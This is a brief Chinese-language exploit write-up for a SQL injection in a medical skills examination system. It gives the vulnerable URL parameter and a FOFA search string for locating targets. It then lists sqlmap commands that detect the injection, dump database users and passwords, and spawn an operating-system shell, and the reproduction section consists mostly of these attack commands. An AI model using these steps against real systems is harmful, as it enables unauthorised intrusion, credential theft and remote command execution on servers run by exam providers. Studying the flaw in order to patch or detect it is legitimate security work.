远秋医学技能考试系统SQL注入漏洞

# 远秋医学技能考试系统SQL注入漏洞

## 漏洞描述

**远秋医学技能考试系统存在SQL注入漏洞，可获取后台密码可os-shell获得shell**

## 漏洞影响

> 远秋医学技能考试系统

## FOFA

> 远秋医学技能考试系统

## 漏洞复现

存在漏洞的路径为：

“`
http://xxx.xxx.xxx.xxx/NewsDetailPage.aspx?key=news&id=1
“`

直接SQLmap梭哈

检测是否存在注入和跑账号密码：

“`
sqlmap -u “http://xxx.xxx.xxx.xxx/NewsDetailPage.aspx?key=news&id=1” -p id -batch
“`

“`
sqlmap -u “http://xxx.xxx.xxx.xxx/NewsDetailPage.aspx?key=news&id=1” -users
sqlmap -u “http://xxx.xxx.xxx.xxx/NewsDetailPage.aspx?key=news&id=1” –password
“`

一般为DBA权限，直接上os-shell

“`
sqlmap -u “http://xxx.xxx.xxx.xxx/NewsDetailPage.aspx?key=news&id=1” –random-agent –os-shell
“`